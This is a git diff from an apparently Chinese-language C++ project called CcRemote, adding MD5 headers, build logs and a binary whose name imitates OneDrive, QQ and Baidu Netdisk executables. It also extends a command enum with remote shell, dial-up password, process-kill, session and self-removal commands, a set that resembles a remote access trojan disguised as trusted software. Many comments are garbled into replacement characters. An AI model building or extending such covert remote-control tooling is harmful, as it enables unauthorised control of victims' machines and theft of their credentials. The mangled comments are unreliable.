#include "md5global.h"
|
||||
|
||||
std::string getFileMD5(const std::string& filename);
|
||||
|
||||
#endif
|
||||
|
||||
|
22
StartDemo/StartDemo/md5global.h
Normal file
@@ -0,0 +1,22 @@
|
||||
/* GLOBAL.H - RSAREF types and constants
|
||||
*/
|
||||
|
||||
/* PROTOTYPES should be set to one if and only if the compiler supports
|
||||
function argument prototyping.
|
||||
The following makes PROTOTYPES default to 0 if it has not already
|
||||
been defined with C compiler flags.
|
||||
*/
|
||||
|
||||
#ifndef MD5_GLOBAL_H
|
||||
#define MD5_GLOBAL_H
|
||||
|
||||
/* POINTER defines a generic pointer type */
|
||||
typedef unsigned char *POINTER;
|
||||
|
||||
/* UINT2 defines a two byte word */
|
||||
typedef unsigned short int UINT2;
|
||||
|
||||
/* UINT4 defines a four byte word */
|
||||
typedef unsigned long int UINT4;
|
||||
|
||||
#endif
|
14
StartDemo/StartDemo/resource.h
Normal file
@@ -0,0 +1,14 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by StartDemo.rc
|
||||
|
||||
// <20>¶<EFBFBD><C2B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ĭ<EFBFBD><C4AC>ֵ
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 101
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
BIN
StartDemo/StartDemo/updateOneDrive.exeQQ.exebaidunetdisk.exe
Normal file
14
StartDemo/StartDemo/x64/Debug/StartDemo.Build.CppClean.log
Normal file
@@ -0,0 +1,14 @@
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\vc141.pdb
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\vc141.idb
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.obj
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\cregoperate.obj
|
||||
f:\myapp\ccremote\startdemo\x64\debug\startdemo.exe
|
||||
f:\myapp\ccremote\startdemo\x64\debug\startdemo.ilk
|
||||
f:\myapp\ccremote\startdemo\x64\debug\startdemo.pdb
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.obj.enc
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\link.write.1.tlog
|
6
StartDemo/StartDemo/x64/Debug/StartDemo.log
Normal file
@@ -0,0 +1,6 @@
|
||||
CRegOperate.cpp
|
||||
f:\myapp\ccremote\startdemo\startdemo\cregoperate.cpp(160): warning C4101: “vari”: 未引用的局部变量
|
||||
StartDemo.cpp
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(58): error C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
|
||||
正在生成代码...
|
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|x64|F:\myapp\CcRemote\StartDemo\|
|
BIN
bin/CcRemote.exe
@@ -61,6 +61,9 @@ enum
|
||||
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
|
||||
COMMAND_WINDOW_CLOSE, // <20>رմ<D8B1><D5B4><EFBFBD>
|
||||
COMMAND_WINDOW_TEST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_SHELL, // cmdshell
|
||||
COMMAND_SESSION, // <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
|
||||
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
|
||||
@@ -116,4 +119,6 @@ enum
|
||||
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
|
||||
#define STR_CRY_LENGTH 0 //<2F><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>
|
||||
|
||||
#endif // !defined(AFX_MACROS_H_INCLUDED)
|